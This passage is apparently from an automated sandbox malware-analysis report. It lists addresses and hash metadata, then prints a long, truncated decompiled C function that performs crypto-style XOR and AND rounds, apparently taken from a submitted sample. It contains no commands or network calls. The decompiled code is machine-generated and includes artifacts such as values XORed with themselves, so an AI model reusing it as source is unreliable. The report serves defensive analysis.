                                                                                                                                                                                                                                                                                                                                                      0x00407311
                                                                                                                                                                                                                                                                                                                                                      0x0040731c
                                                                                                                                                                                                                                                                                                                                                      0x0040731f
                                                                                                                                                                                                                                                                                                                                                      0x00407322
                                                                                                                                                                                                                                                                                                                                                      0x00407326
                                                                                                                                                                                                                                                                                                                                                      0x00407332
                                                                                                                                                                                                                                                                                                                                                      0x00407343
                                                                                                                                                                                                                                                                                                                                                      0x00407362
                                                                                                                                                                                                                                                                                                                                                      0x00407365
                                                                                                                                                                                                                                                                                                                                                      0x0040736e
                                                                                                                                                                                                                                                                                                                                                      0x0040652f
                                                                                                                                                                                                                                                                                                                                                      0x0040652f
                                                                                                                                                                                                                                                                                                                                                      0x0040737b

                                                                                                                                                                                                                                                                                                                                                      APIs
                                                                                                                                                                                                                                                                                                                                                      Strings
                                                                                                                                                                                                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                                                                                                                                                                                                      • Source File: 00000000.00000002.308697447.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                                                                                                                                                                      • Associated: 00000000.00000002.308694099.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                                                                                      • Associated: 00000000.00000002.308719028.0000000000410000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                                                                                      • Associated: 00000000.00000002.308723352.0000000000413000.00000008.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                                                                                                                      • Snapshot File: hcaresult_0_2_400000_file.jbxd
                                                                                                                                                                                                                                                                                                                                                      Yara matches
                                                                                                                                                                                                                                                                                                                                                      Similarity
                                                                                                                                                                                                                                                                                                                                                      • API ID: _allshl_aullshr
                                                                                                                                                                                                                                                                                                                                                      • String ID: Y
                                                                                                                                                                                                                                                                                                                                                      • API String ID: 673498613-3233089245
                                                                                                                                                                                                                                                                                                                                                      • Opcode ID: 4645a15b48c521267f29d248b076dd4fbebdd276bd88535518b3d2dff838994f
                                                                                                                                                                                                                                                                                                                                                      • Instruction ID: 41702c75a342dfad1dfac1719fc1a5d3f91fa22a74e26f4c50ba47dcf9582e04
                                                                                                                                                                                                                                                                                                                                                      • Opcode Fuzzy Hash: 4645a15b48c521267f29d248b076dd4fbebdd276bd88535518b3d2dff838994f
                                                                                                                                                                                                                                                                                                                                                      • Instruction Fuzzy Hash: F5D22A79D11619EFCB54CF99C18099EFBF1FF88320F66859AD845AB305C630AA91DF80
                                                                                                                                                                                                                                                                                                                                                      Uniqueness

                                                                                                                                                                                                                                                                                                                                                      Uniqueness Score: -1.00%

                                                                                                                                                                                                                                                                                                                                                      Function 00406529 Relevance: 52.0, APIs: 34, Instructions: 1023COMMONCrypto
                                                                                                                                                                                                                                                                                                                                                      Download Yara Rule

                                                                                                                                                                                                                                                                                                                                                      Control-flow Graph

                                                                                                                                                                                                                                                                                                                                                      C-Code - Quality: 100%
                                                                                                                                                                                                                                                                                                                                                      			E00406529() {
				signed int _t1392;
				signed int _t1393;
				signed int _t1394;
				signed int _t1398;
				signed int _t1408;
				intOrPtr _t1409;
				signed int _t1419;
				intOrPtr _t1420;
				signed int _t1430;
				intOrPtr _t1431;
				signed int _t1441;
				intOrPtr _t1442;
				signed int _t1452;
				intOrPtr _t1453;
				signed int _t1463;
				intOrPtr _t1464;
				signed int _t1474;
				intOrPtr _t1475;
				signed int _t1485;
				intOrPtr _t1486;
				signed int _t1496;
				intOrPtr _t1497;
				signed int _t1507;
				intOrPtr _t1508;
				signed int _t1518;
				intOrPtr _t1519;
				signed int _t1529;
				intOrPtr _t1530;
				signed int _t1540;
				intOrPtr _t1541;
				signed int _t1551;
				intOrPtr _t1552;
				signed int _t1562;
				intOrPtr _t1563;
				intOrPtr _t1572;
				intOrPtr _t1573;
				intOrPtr _t1574;
				signed int _t1575;
				signed int _t1581;
				signed int _t1582;
				signed int _t1583;
				signed int _t1584;
				signed int _t1588;
				signed int _t1591;
				signed int _t1592;
				signed int _t1593;
				signed int _t1594;
				signed int _t1598;
				signed int _t1601;
				signed int _t1602;
				signed int _t1603;
				signed int _t1604;
				signed int _t1608;
				signed int _t1611;
				signed int _t1612;
				signed int _t1613;
				signed int _t1614;
				signed int _t1618;
				signed int _t1621;
				signed int _t1622;
				signed int _t1623;
				signed int _t1624;
				signed int _t1628;
				signed int _t1631;
				signed int _t1632;
				signed int _t1633;
				signed int _t1634;
				signed int _t1638;
				signed int _t1641;
				signed int _t1642;
				signed int _t1643;
				signed int _t1644;
				signed int _t1648;
				signed int _t1651;
				signed int _t1652;
				signed int _t1653;
				signed int _t1654;
				signed int _t1658;
				signed int _t1661;
				signed int _t1662;
				signed int _t1663;
				signed int _t1664;
				signed int _t1668;
				signed int _t1671;
				signed int _t1672;
				signed int _t1673;
				signed int _t1674;
				signed int _t1678;
				signed int _t1681;
				signed int _t1682;
				signed int _t1683;
				signed int _t1684;
				signed int _t1688;
				signed int _t1691;
				signed int _t1692;
				signed int _t1693;
				signed int _t1694;
				signed int _t1698;
				signed int _t1701;
				signed int _t1702;
				signed int _t1703;
				signed int _t1704;
				signed int _t1708;
				signed int _t1711;
				signed int _t1712;
				signed int _t1713;
				signed int _t1714;
				signed int _t1718;
				signed int _t1721;
				signed int _t1722;
				signed int _t1723;
				signed int _t1724;
				signed int _t1728;
				signed int _t1731;
				signed int _t1743;
				intOrPtr _t1744;
				intOrPtr _t1750;
				intOrPtr _t1751;
				intOrPtr _t1752;
				signed int _t1753;
				intOrPtr _t1762;
				intOrPtr _t1763;
				intOrPtr _t1764;
				signed int _t1765;
				intOrPtr _t1774;
				intOrPtr _t1775;
				intOrPtr _t1776;
				signed int _t1777;
				intOrPtr _t1786;
				intOrPtr _t1787;
				intOrPtr _t1788;
				signed int _t1789;
				intOrPtr _t1798;
				intOrPtr _t1799;
				intOrPtr _t1800;
				signed int _t1801;
				intOrPtr _t1810;
				intOrPtr _t1811;
				intOrPtr _t1812;
				signed int _t1813;
				intOrPtr _t1822;
				intOrPtr _t1823;
				intOrPtr _t1824;
				signed int _t1825;
				intOrPtr _t1834;
				intOrPtr _t1835;
				intOrPtr _t1836;
				signed int _t1837;
				intOrPtr _t1846;
				intOrPtr _t1847;
				intOrPtr _t1848;
				signed int _t1849;
				intOrPtr _t1858;
				intOrPtr _t1859;
				intOrPtr _t1860;
				signed int _t1861;
				intOrPtr _t1870;
				intOrPtr _t1871;
				intOrPtr _t1872;
				signed int _t1873;
				intOrPtr _t1882;
				intOrPtr _t1883;
				intOrPtr _t1884;
				signed int _t1885;
				intOrPtr _t1894;
				intOrPtr _t1895;
				intOrPtr _t1896;
				signed int _t1897;
				intOrPtr _t1906;
				intOrPtr _t1907;
				intOrPtr _t1908;
				signed int _t1909;
				intOrPtr _t1918;
				intOrPtr _t1919;
				intOrPtr _t1920;
				signed int _t1921;
				intOrPtr _t2038;
				intOrPtr _t2039;
				intOrPtr _t2040;
				intOrPtr _t2045;
				intOrPtr _t2046;
				intOrPtr _t2047;
				intOrPtr _t2052;
				intOrPtr _t2053;
				intOrPtr _t2054;
				intOrPtr _t2059;
				intOrPtr _t2060;
				intOrPtr _t2061;
				intOrPtr _t2066;
				intOrPtr _t2067;
				intOrPtr _t2068;
				intOrPtr _t2073;
				intOrPtr _t2074;
				intOrPtr _t2075;
				intOrPtr _t2080;
				intOrPtr _t2081;
				intOrPtr _t2082;
				intOrPtr _t2087;
				intOrPtr _t2088;
				intOrPtr _t2089;
				intOrPtr _t2094;
				intOrPtr _t2095;
				intOrPtr _t2096;
				intOrPtr _t2101;
				intOrPtr _t2102;
				intOrPtr _t2103;
				intOrPtr _t2108;
				intOrPtr _t2109;
				intOrPtr _t2110;
				intOrPtr _t2115;
				intOrPtr _t2116;
				intOrPtr _t2117;
				intOrPtr _t2122;
				intOrPtr _t2123;
				intOrPtr _t2124;
				intOrPtr _t2129;
				intOrPtr _t2130;
				intOrPtr _t2131;
				intOrPtr _t2136;
				intOrPtr _t2137;
				intOrPtr _t2138;
				intOrPtr _t2143;
				intOrPtr _t2144;
				intOrPtr _t2145;
				void* _t2149;

				L0:
				while(1) {
					L0:
					 *((intOrPtr*)(_t2149 - 0x1c)) =  *((intOrPtr*)(_t2149 - 0x1c)) + 0x10;
					L1:
					_t1391 =  *(_t2149 + 0xc) << 4;
					if( *((intOrPtr*)(_t2149 - 0x1c)) < _t1391) {
						L2:
						 *(_t2149 - 8) =  *(_t2149 - 0x18);
						 *(_t2149 - 4) =  *(_t2149 - 0x14);
						_t1392 =  *(_t2149 - 0xc);
						_t1572 =  *((intOrPtr*)(_t2149 + 8));
						 *(_t2149 - 8) =  *(_t2149 - 8) ^  *(_t1572 + _t1392 * 8 - 0x2c8);
						 *(_t2149 - 4) =  *(_t2149 - 4) ^  *(_t1572 + _t1392 * 8 - 0x2c4);
						_t1393 =  *(_t2149 - 0xc);
						_t1573 =  *((intOrPtr*)(_t2149 + 8));
						 *(_t2149 - 8) =  *(_t2149 - 8) ^  *(_t1573 + _t1393 * 8 - 0x88);
						 *(_t2149 - 4) =  *(_t2149 - 4) ^  *(_t1573 + _t1393 * 8 - 0x84);
						_t1394 =  *(_t2149 - 0xc);
						_t1574 =  *((intOrPtr*)(_t2149 + 8));
						_t1743 =  *(_t2149 - 0xc);
						_t2038 =  *((intOrPtr*)(_t2149 + 8));
						 *(_t2149 - 8) =  *(_t1574 + _t1394 * 8 - 0x90) &  *(_t2038 + _t1743 * 8 - 0xa8) ^  *(_t2149 - 8);
						 *(_t2149 - 4) =  *(_t1574 + _t1394 * 8 - 0x8c) &  *(_t2038 + _t1743 * 8 - 0xa4) ^  *(_t2149 - 4);
						_t1575 =  *(_t2149 - 0xc);
						_t1744 =  *((intOrPtr*)(_t2149 + 8));
						_t1398 =  *(_t2149 - 0xc);
						_t2039 =  *((intOrPtr*)(_t2149 + 8));
						 *(_t2149 - 8) =  *(_t1744 + _t1575 * 8 - 0xf8) &  *(_t2039 + _t1398 * 8 - 0x218) ^  *(_t2149 - 8);
						 *(_t2149 - 4) =  *(_t1744 + _t1575 * 8 - 0xf4) &  *(_t2039 + _t1398 * 8 - 0x214) ^  *(_t2149 - 4);
						L0040ECE8();
						 *(_t2149 - 8) =  *(_t2149 - 8) ^  *(_t2149 - 8);
						 *(_t2149 - 4) =  *(_t2149 - 4) ^  *(_t2149 - 4);
						L0040ECEE();
						_t1581 =  *(_t2149 - 0xc);
						_t2040 =  *((intOrPtr*)(_t2149 + 8));
						 *(_t2040 + _t1581 * 8) =  *(_t2149 - 8) ^  *(_t2149 - 8);
						 *(_t2040 + 4 + _t1581 * 8) =  *(_t2149 - 4) ^  *(_t2149 - 4);
						 *(_t2149 - 8) =  *(_t2149 - 0x18);
						 *(_t2149 - 4) =  *(_t2149 - 0x14);
						_t1582 =  *(_t2149 - 0xc);
						_t1750 =  *((intOrPtr*)(_t2149 + 8));
						 *(_t2149 - 8) =  *(_t2149 - 8) ^  *(_t1750 + _t1582 * 8 - 0x2c0);
						 *(_t2149 - 4) =  *(_t2149 - 4) ^  *(_t1750 + _t1582 * 8 - 0x2bc);
						_t1583 =  *(_t2149 - 0xc);
						_t1751 =  *((intOrPtr*)(_t2149 + 8));
						 *(_t2149 - 8) =  *(_t2149 - 8) ^  *(_t1751 + _t1583 * 8 - 0x80);
						 *(_t2149 - 4) =  *(_t2149 - 4) ^  *(_t1751 + _t1583 * 8 - 0x7c);
						_t1584 =  *(_t2149 - 0xc);
						_t1752 =  *((intOrPtr*)(_t2149 + 8));
						_t1408 =  *(_t2149 - 0xc);
						_t2045 =  *((intOrPtr*)(_t2149 + 8));
						 *(_t2149 - 8) =  *(_t1752 + _t1584 * 8 - 0x88) &  *(_t2045 + _t1408 * 8 - 0xa0) ^  *(_t2149 - 8);
						 *(_t2149 - 4) =  *(_t1752 + _t1584 * 8 - 0x84) &  *(_t2045 + _t1408 * 8 - 0x9c) ^  *(_t2149 - 4);
						_t1753 =  *(_t2149 - 0xc);
						_t1409 =  *((intOrPtr*)(_t2149 + 8));
						_t1588 =  *(_t2149 - 0xc);
						_t2046 =  *((intOrPtr*)(_t2149 + 8));
						 *(_t2149 - 8) =  *(_t1409 + _t1753 * 8 - 0xf0) &  *(_t2046 + _t1588 * 8 - 0x210) ^  *(_t2149 - 8);
						 *(_t2149 - 4) =  *(_t1409 + _t1753 * 8 - 0xec) &  *(_t2046 + _t1588 * 8 - 0x20c) ^  *(_t2149 - 4);
						L0040ECE8();
						 *(_t2149 - 8) =  *(_t2149 - 8) ^  *(_t2149 - 8);
						 *(_t2149 - 4) =  *(_t2149 - 4) ^  *(_t2149 - 4);
						L0040ECEE();
						_t1591 =  *(_t2149 - 0xc);
						_t2047 =  *((intOrPtr*)(_t2149 + 8));
						 *(_t2047 + 8 + _t1591 * 8) =  *(_t2149 - 8) ^  *(_t2149 - 8);
						 *(_t2047 + 0xc + _t1591 * 8) =  *(_t2149 - 4) ^  *(_t2149 - 4);
						 *(_t2149 - 8) =  *(_t2149 - 0x18);
						 *(_t2149 - 4) =  *(_t2149 - 0x14);
						_t1592 =  *(_t2149 - 0xc);
						_t1762 =  *((intOrPtr*)(_t2149 + 8));
						 *(_t2149 - 8) =  *(_t2149 - 8) ^  *(_t1762 + _t1592 * 8 - 0x2b8);
						 *(_t2149 - 4) =  *(_t2149 - 4) ^  *(_t1762 + _t1592 * 8 - 0x2b4);
						_t1593 =  *(_t2149 - 0xc);
						_t1763 =  *((intOrPtr*)(_t2149 + 8));
						 *(_t2149 - 8) =  *(_t2149 - 8) ^  *(_t1763 + _t1593 * 8 - 0x78);
						 *(_t2149 - 4) =  *(_t2149 - 4) ^  *(_t1763 + _t1593 * 8 - 0x74);
						_t1594 =  *(_t2149 - 0xc);
						_t1764 =  *((intOrPtr*)(_t2149 + 8));
						_t1419 =  *(_t2149 - 0xc);
						_t2052 =  *((intOrPtr*)(_t2149 + 8));
						 *(_t2149 - 8) =  *(_t1764 + _t1594 * 8 - 0x80) &  *(_t2052 + _t1419 * 8 - 0x98) ^  *(_t2149 - 8);
						 *(_t2149 - 4) =  *(_t1764 + _t1594 * 8 - 0x7c) &  *(_t2052 + _t1419 * 8 - 0x94) ^  *(_t2149 - 4);
						_t1765 =  *(_t2149 - 0xc);
						_t1420 =  *((intOrPtr*)(_t2149 + 8));
						_t1598 =  *(_t2149 - 0xc);
						_t2053 =  *((intOrPtr*)(_t2149 + 8));
						 *(_t2149 - 8) =  *(_t1420 + _t1765 * 8 - 0xe8) &  *(_t2053 + _t1598 * 8 - 0x208) ^  *(_t2149 - 8);
						 *(_t2149 - 4) =  *(_t1420 + _t1765 * 8 - 0xe4) &  *(_t2053 + _t1598 * 8 - 0x204) ^  *(_t2149 - 4);
						L0040ECE8();
						 *(_t2149 - 8) =  *(_t2149 - 8) ^  *(_t2149 - 8);
						 *(_t2149 - 4) =  *(_t2149 - 4) ^  *(_t2149 - 4);
						L0040ECEE();
						_t1601 =  *(_t2149 - 0xc);
						_t2054 =  *((intOrPtr*)(_t2149 + 8));
						 *(_t2054 + 0x10 + _t1601 * 8) =  *(_t2149 - 8) ^  *(_t2149 - 8);
						 *(_t2054 + 0x14 + _t1601 * 8) =  *(_t2149 - 4) ^  *(_t2149 - 4);
						 *(_t2149 - 8) =  *(_t2149 - 0x18);
						 *(_t2149 - 4) =  *(_t2149 - 0x14);
						_t1602 =  *(_t2149 - 0xc);
						_t1774 =  *((intOrPtr*)(_t2149 + 8));
						 *(_t2149 - 8) =  *(_t2149 - 8) ^  *(_t1774 + _t1602 * 8 - 0x2b0);
						 *(_t2149 - 4) =  *(_t2149 - 4) ^  *(_t1774 + _t1602 * 8 - 0x2ac);
						_t1603 =  *(_t2149 - 0xc);
						_t1775 =  *((intOrPtr*)(_t2149 + 8));
						 *(_t2149 - 8) =  *(_t2149 - 8) ^  *(_t1775 + _t1603 * 8 - 0x70);
						 *(_t2149 - 4) =  *(_t2149 - 4) ^  *(_t1775 + _t1603 * 8 - 0x6c);
						_t1604 =  *(_t2149 - 0xc);
						_t1776 =  *((intOrPtr*)(_t2149 + 8));
						_t1430 =  *(_t2149 - 0xc);
						_t2059 =  *((intOrPtr*)(_t2149 + 8));
						 *(_t2149 - 8) =  *(_t1776 + _t1604 * 8 - 0x78) &  *(_t2059 + _t1430 * 8 - 0x90) ^  *(_t2149 - 8);
						 *(_t2149 - 4) =  *(_t1776 + _t1604 * 8 - 0x74) &  *(_t2059 + _t1430 * 8 - 0x8c) ^  *(_t2149 - 4);
						_t1777 =  *(_t2149 - 0xc);
						_t1431 =  *((intOrPtr*)(_t2149 + 8));
						_t1608 =  *(_t2149 - 0xc);
						_t2060 =  *((intOrPtr*)(_t2149 + 8));
						 *(_t2149 - 8) =  *(_t1431 + _t1777 * 8 - 0xe0) &  *(_t2060 + _t1608 * 8 - 0x200) ^  *(_t2149 - 8);
						 *(_t2149 - 4) =  *(_t1431 + _t1777 * 8 - 0xdc) &  *(_t2060 + _t1608 * 8 - 0x1fc) ^  *(_t2149 - 4);
						L0040ECE8();
						 *(_t2149 - 8) =  *(_t2149 - 8) ^  *(_t2149 - 8);
						 *(_t2149 - 4) =  *(_t2149 - 4) ^  *(_t2149 - 4);
						L0040ECEE();
						_t1611 =  *(_t2149 - 0xc);
						_t2061 =  *((intOrPtr*)(_t2149 + 8));
						 *(_t2061 + 0x18 + _t1611 * 8) =  *(_t2149 - 8) ^  *(_t2149 - 8);
						 *(_t2061 + 0x1c + _t1611 * 8) =  *(_t2149 - 4) ^  *(_t2149 - 4);
						 *(_t2149 - 8) =  *(_t2149 - 0x18);
						 *(_t2149 - 4) =  *(_t2149 - 0x14);
						_t1612 =  *(_t2149 - 0xc);
						_t1786 =  *((intOrPtr*)(_t2149 + 8));
						 *(_t2149 - 8) =  *(_t2149 - 8) ^  *(_t1786 + _t1612 * 8 - 0x2a8);
						 *(_t2149 - 4) =  *(_t2149 - 4) ^  *(_t1786 + _t1612 * 8 - 0x2a4);
						_t1613 =  *(_t2149 - 0xc);
						_t1787 =  *((intOrPtr*)(_t2149 + 8));
						 *(_t2149 - 8) =  *(_t2149 - 8) ^  *(_t1787 + _t1613 * 8 - 0x68);
						 *(_t2149 - 4) =  *(_t2149 - 4) ^  *(_t1787 + _t1613 * 8 - 0x64);
						_t1614 =  *(_t2149 - 0xc);
						_t1788 =  *((intOrPtr*)(_t2149 + 8));
						_t1441 =  *(_t2149 - 0xc);
						_t2066 =  *((intOrPtr*)(_t2149 + 8));
						 *(_t2149 - 8) =  *(_t1788 + _t1614 * 8 - 0x70) &  *(_t2066 + _t1441 * 8 - 0x88) ^  *(_t2149 - 8);
						 *(_t2149 - 4) =  *(_t1788 + _t1614 * 8 - 0x6c) &  *(_t2066 + _t1441 * 8 - 0x84) ^  *(_t2149 - 4);
						_t1789 =  *(_t2149 - 0xc);
						_t1442 =  *((intOrPtr*)(_t2149 + 8));
						_t1618 =  *(_t2149 - 0xc);
						_t2067 =  *((intOrPtr*)(_t2149 + 8));
						 *(_t2149 - 8) =  *(_t1442 + _t1789 * 8 - 0xd8) &  *(_t2067 + _t1618 * 8 - 0x1f8) ^  *(_t2149 - 8);
						 *(_t2149 - 4) =  *(_t1442 + _t1789 * 8 - 0xd4) &  *(_t2067 + _t1618 * 8 - 0x1f4) ^  *(_t2149 - 4);
						L0040ECE8();
						 *(_t2149 - 8) =  *(_t2149 - 8) ^  *(_t2149 - 8);
						 *(_t2149 - 4) =  *(_t2149 - 4) ^  *(_t2149 - 4);
						L0040ECEE();
						_t1621 =  *(_t2149 - 0xc);
						_t2068 =  *((intOrPtr*)(_t2149 + 8));
						 *(_t2068 + 0x20 + _t1621 * 8) =  *(_t2149 - 8) ^  *(_t2149 - 8);
						 *(_t2068 + 0x24 + _t1621 * 8) =  *(_t2149 - 4) ^  *(_t2149 - 4);
						 *(_t2149 - 8) =  *(_t2149 - 0x18);
						 *(_t2149 - 4) =  *(_t2149 - 0x14);
						_t1622 =  *(_t2149 - 0xc);
						_t1798 =  *((intOrPtr*)(_t2149 + 8));
						 *(_t2149 - 8) =  *(_t2149 - 8) ^  *(_t1798 + _t1622 * 8 - 0x2a0);
						 *(_t2149 - 4) =  *(_t2149 - 4) ^  *(_t1798 + _t1622 * 8 - 0x29c);
						_t1623 =  *(_t2149 - 0xc);
						_t1799 =  *((intOrPtr*)(_t2149 + 8));
						 *(_t2149 - 8) =  *(_t2149 - 8) ^  *(_t1799 + _t1623 * 8 - 0x60);
						 *(_t2149 - 4) =  *(_t2149 - 4) ^  *(_t1799 + _t1623 * 8 - 0x5c);
						_t1624 =  *(_t2149 - 0xc);
						_t1800 =  *((intOrPtr*)(_t2149 + 8));
						_t1452 =  *(_t2149 - 0xc);
						_t2073 =  *((intOrPtr*)(_t2149 + 8));
						 *(_t2149 - 8) =  *(_t1800 + _t1624 * 8 - 0x68) &  *(_t2073 + _t1452 * 8 - 0x80) ^  *(_t2149 - 8);
						 *(_t2149 - 4) =  *(_t1800 + _t1624 * 8 - 0x64) &  *(_t2073 + _t1452 * 8 - 0x7c) ^  *(_t2149 - 4);
						_t1801 =  *(_t2149 - 0xc);
						_t1453 =  *((intOrPtr*)(_t2149 + 8));
						_t1628 =  *(_t2149 - 0xc);
						_t2074 =  *((intOrPtr*)(_t2149 + 8));
						 *(_t2149 - 8) =  *(_t1453 + _t1801 * 8 - 0xd0) &  *(_t2074 + _t1628 * 8 - 0x1f0) ^  *(_t2149 - 8);
						 *(_t2149 - 4) =  *(_t1453 + _t1801 * 8 - 0xcc) &  *(_t2074 + _t1628 * 8 - 0x1ec) ^  *(_t2149 - 4);
						L0040ECE8();
						 *(_t2149 - 8) =  *(_t2149 - 8) ^  *(_t2149 - 8);
						 *(_t2149 - 4) =  *(_t2149 - 4) ^  *(_t2149 - 4);
						L0040ECEE();
						_t1631 =  *(_t2149 - 0xc);
						_t2075 =  *((intOrPtr*)(_t2149 + 8));
						 *(_t2075 + 0x28 + _t1631 * 8) =  *(_t2149 - 8) ^  *(_t2149 - 8);
						 *(_t2075 + 0x2c + _t1631 * 8) =  *(_t2149 - 4) ^  *(_t2149 - 4);
						 *(_t2149 - 8) =  *(_t2149 - 0x18);
						 *(_t2149 - 4) =  *(_t2149 - 0x14);
						_t1632 =  *(_t2149 - 0xc);
						_t1810 =  *((intOrPtr*)(_t2149 + 8));
						 *(_t2149 - 8) =  *(_t2149 - 8) ^  *(_t1810 + _t1632 * 8 - 0x298);
						 *(_t2149 - 4) =  *(_t2149 - 4) ^  *(_t1810 + _t1632 * 8 - 0x294);
						_t1633 =  *(_t2149 - 0xc);
						_t1811 =  *((intOrPtr*)(_t2149 + 8));
						 *(_t2149 - 8) =  *(_t2149 - 8) ^  *(_t1811 + _t1633 * 8 - 0x58);
						 *(_t2149 - 4) =  *(_t2149 - 4) ^  *(_t1811 + _t1633 * 8 - 0x54);
						_t1634 =  *(_t2149 - 0xc);
						_t1812 =  *((intOrPtr*)(_t2149 + 8));
						_t1463 =  *(_t2149 - 0xc);
						_t2080 =  *((intOrPtr*)(_t2149 + 8));
						 *(_t2149 - 8) =  *(_t1812 + _t1634 * 8 - 0x60) &  *(_t2080 + _t1463 * 8 - 0x78) ^  *(_t2149 - 8);
						 *(_t2149 - 4) =  *(_t1812 + _t1634 * 8 - 0x5c) &  *(_t2080 + _t1463 * 8 - 0x74) ^  *(_t2149 - 4);
						_t1813 =  *(_t2149 - 0xc);
						_t1464 =  *((intOrPtr*)(_t2149 + 8));
						_t1638 =  *(_t2149 - 0xc);
						_t2081 =  *((intOrPtr*)(_t2149 + 8));
						 *(_t2149 - 8) =  *(_t1464 + _t1813 * 8 - 0xc8) &  *(_t2081 + _t1638 * 8 - 0x1e8) ^  *(_t2149 - 8);
						 *(_t2149 - 4) =  *(_t1464 + _t1813 * 8 - 0xc4) &  *(_t2081 + _t1638 * 8 - 0x1e4) ^  *(_t2149 - 4);
						L0040ECE8();
						 *(_t2149 - 8) =  *(_t2149 - 8) ^  *(_t2149 - 8);
						 *(_t2149 - 4) =  *(_t2149 - 4) ^  *(_t2149 - 4);
						L0040ECEE();
						_t1641 =  *(_t2149 - 0xc);
						_t2082 =  *((intOrPtr*)(_t2149 + 8));
						 *(_t2082 + 0x30 + _t1641 * 8) =  *(_t2149 - 8) ^  *(_t2149 - 8);
						 *(_t2082 + 0x34 + _t1641 * 8) =  *(_t2149 - 4) ^  *(_t2149 - 4);
						 *(_t2149 - 8) =  *(_t2149 - 0x18);
						 *(_t2149 - 4) =  *(_t2149 - 0x14);
						_t1642 =  *(_t2149 - 0xc);
						_t1822 =  *((intOrPtr*)(_t2149 + 8));
						 *(_t2149 - 8) =  *(_t2149 - 8) ^  *(_t1822 + _t1642 * 8 - 0x290);
						 *(_t2149 - 4) =  *(_t2149 - 4) ^  *(_t1822 + _t1642 * 8 - 0x28c);
						_t1643 =  *(_t2149 - 0xc);
						_t1823 =  *((intOrPtr*)(_t2149 + 8));
						 *(_t2149 - 8) =  *(_t2149 - 8) ^  *(_t1823 + _t1643 * 8 - 0x50);
						 *(_t2149 - 4) =  *(_t2149 - 4) ^  *(_t1823 + _t1643 * 8 - 0x4c);
						_t1644 =  *(_t2149 - 0xc);
						_t1824 =  *((intOrPtr*)(_t2149 + 8));
						_t1474 =  *(_t2149 - 0xc);
						_t2087 =  *((intOrPtr*)(_t2149 + 8));
						 *(_t2149 - 8) =  *(_t1824 + _t1644 * 8 - 0x58) &  *(_t2087 + _t1474 * 8 - 0x70) ^  *(_t2149 - 8);
						 *(_t2149 - 4) =  *(_t1824 + _t1644 * 8 - 0x54) &  *(_t2087 + _t1474 * 8 - 0x6c) ^  *(_t2149 - 4);
						_t1825 =  *(_t2149 - 0xc);
						_t1475 =  *((intOrPtr*)(_t2149 + 8));
						_t1648 =  *(_t2149 - 0xc);
						_t2088 =  *((intOrPtr*)(_t2149 + 8));
						 *(_t2149 - 8) =  *(_t1475 + _t1825 * 8 - 0xc0) &  *(_t2088 + _t1648 * 8 - 0x1e0) ^  *(_t2149 - 8);
						 *(_t2149 - 4) =  *(_t1475 + _t1825 * 8 - 0xbc) &  *(_t2088 + _t1648 * 8 - 0x1dc) ^  *(_t2149 - 4);
						L0040ECE8();
						 *(_t2149 - 8) =  *(_t2149 - 8) ^  *(_t2149 - 8);
						 *(_t2149 - 4) =  *(_t2149 - 4) ^  *(_t2149 - 4);
						L0040ECEE();
						_t1651 =  *(_t2149 - 0xc);
						_t2089 =  *((intOrPtr*)(_t2149 + 8));
						 *(_t2089 + 0x38 + _t1651 * 8) =  *(_t2149 - 8) ^  *(_t2149 - 8);
						 *(_t2089 + 0x3c + _t1651 * 8) =  *(_t2149 - 4) ^  *(_t2149 - 4);
						 *(_t2149 - 8) =  *(_t2149 - 0x18);
						 *(_t2149 - 4) =  *(_t2149 - 0x14);
						_t1652 =  *(_t2149 - 0xc);
						_t1834 =  *((intOrPtr*)(_t2149 + 8));
						 *(_t2149 - 8) =  *(_t2149 - 8) ^  *(_t1834 + _t1652 * 8 - 0x288);
						 *(_t2149 - 4) =  *(_t2149 - 4) ^  *(_t1834 + _t1652 * 8 - 0x284);
						_t1653 =  *(_t2149 - 0xc);
						_t1835 =  *((intOrPtr*)(_t2149 + 8));
						 *(_t2149 - 8) =  *(_t2149 - 8) ^  *(_t1835 + _t1653 * 8 - 0x48);
						 *(_t2149 - 4) =  *(_t2149 - 4) ^  *(_t1835 + _t1653 * 8 - 0x44);
						_t1654 =  *(_t2149 - 0xc);
						_t1836 =  *((intOrPtr*)(_t2149 + 8));
						_t1485 =  *(_t2149 - 0xc);
						_t2094 =  *((intOrPtr*)(_t2149 + 8));
						 *(_t2149 - 8) =  *(_t1836 + _t1654 * 8 - 0x50) &  *(_t2094 + _t1485 * 8 - 0x68) ^  *(_t2149 - 8);
						 *(_t2149 - 4) =  *(_t1836 + _t1654 * 8 - 0x4c) &  *(_t2094 + _t1485 * 8 - 0x64) ^  *(_t2149 - 4);
						_t1837 =  *(_t2149 - 0xc);
						_t1486 =  *((intOrPtr*)(_t2149 + 8));
						_t1658 =  *(_t2149 - 0xc);
						_t2095 =  *((intOrPtr*)(_t2149 + 8));
						 *(_t2149 - 8) =  *(_t1486 + _t1837 * 8 - 0xb8) &  *(_t2095 + _t1658 * 8 - 0x1d8) ^  *(_t2149 - 8);
						 *(_t2149 - 4) =  *(_t1486 + _t1837 * 8 - 0xb4) &  *(_t2095 + _t1658 * 8 - 0x1d4) ^  *(_t2149 - 4);
						L0040ECE8();
						 *(_t2149 - 8) =  *(_t2149 - 8) ^  *(_t2149 - 8);
						 *(_t2149 - 4) =  *(_t2149 - 4) ^  *(_t2149 - 4);
						L0040ECEE();
						_t1661 =  *(_t2149 - 0xc);
						_t2096 =  *((intOrPtr*)(_t2149 + 8));
						 *(_t2096 + 0x40 + _t1661 * 8) =  *(_t2149 - 8) ^  *(_t2149 - 8);
						 *(_t2096 + 0x44 + _t1661 * 8) =  *(_t2149 - 4) ^  *(_t2149 - 4);
						 *(_t2149 - 8) =  *(_t2149 - 0x18);
						 *(_t2149 - 4) =  *(_t2149 - 0x14);
						_t1662 =  *(_t2149 - 0xc);
						_t1846 =  *((intOrPtr*)(_t2149 + 8));
						 *(_t2149 - 8) =  *(_t2149 - 8) ^  *(_t1846 + _t1662 * 8 - 0x280);
						 *(_t2149 - 4) =  *(_t2149 - 4) ^  *(_t1846 + _t1662 * 8 - 0x27c);
						_t1663 =  *(_t2149 - 0xc);
						_t1847 =  *((intOrPtr*)(_t2149 + 8));
